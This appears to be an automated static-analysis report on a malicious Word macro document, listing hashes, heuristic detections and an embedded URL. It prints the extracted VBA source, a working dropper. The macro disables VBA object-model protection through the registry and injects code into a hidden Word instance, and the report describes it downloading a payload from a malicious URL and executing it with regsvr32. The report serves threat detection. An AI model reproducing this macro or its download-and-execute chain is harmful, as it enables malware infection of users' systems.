Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 261008c46e79a055…

MALICIOUS

Office (OOXML)

42.6 KB Created: 2021-06-07 10:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 09b9f9175fb3bb904cbcdb09a90dc78f SHA-1: 7f3f583be90d6562c7d544d49156aa98e7fc6253 SHA-256: 261008c46e79a055ddbe660fe02a4ada6aaadf934815ec6d10a66c98cb50671c
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro executes a 'download' subroutine which uses 'CreateObject("microsoft.xmlhttp")' to download a file from 'http://quitfitzgeraldd.com/adda/UTAXfrVKNtRbGccft/pg84DEgLnJZgC70U/xxZBiwxovFsQTke4EmODx6FDJpLGZBARvx6LZyLtHu/coc8?page=Vf42RZFPPUmVNDQFeelT5j&=WKHvKBsuOl5NIGVRzROGXA6JY3D&sid=KQ&hlgMAWKv=APAoMAe5sEb&cid=EKHv&=0ve39P5g3wjhilfzZuJ6JF', saves it as 'c:\programdata\queryLen.jpg', and then executes it using 'Shell("regsvr32 c:\programdata\queryLen.jpg", 2)'. The script also writes to the registry key 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM' to enable VBA object model access.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub screenLeft()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & arrTextboxException & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub exceptionDelete(optionView)
Set documentNextSwap = CreateObject("word.application")
With documentNextSwap.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "WRemoveList"
Sub autoopen()
screenLeft
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://quitfitzgeraldd.com/adda/UTAXfrVKNtRbGccft/pg84DEgLnJZgC70U/xxZBiwxovFsQTke4EmODx6FDJpLGZBARvx6LZyLtHu/coc8?page=Vf42RZFPPUmVNDQFeelT5j&=WKHvKBsuOl5NIGVRzROGXA6JY3D&sid=KQ&hlgMAWKv=APAoMAe5sEb&cid=EKHv&=0ve39P5g3wjhilfzZuJ6JF In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1077 bytes
SHA-256: d8aa4fd75b1efeb5e8c0407aa807f00a69b7242435687b449d02f66251694b87
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WRemoveList"
Sub autoopen()
screenLeft
optionView = ActiveDocument.Range.Text
optionView = Mid(optionView, 2, Len(optionView))
exceptionDelete optionView
End Sub
Sub exceptionDelete(optionView)
Set documentNextSwap = CreateObject("word.application")
With documentNextSwap.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString optionView
End With
documentNextSwap.Visible = False
documentNextSwap.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function arrTextboxException()
arrTextboxException = Application.Version
End Function
Sub screenLeft()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & arrTextboxException & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 562dc5715a9fa10596e39d44e37daf3d690b73f8fc49e6ac6a6def0e0aaf2353

Open this report in the interactive analyzer, or submit your own file for analysis.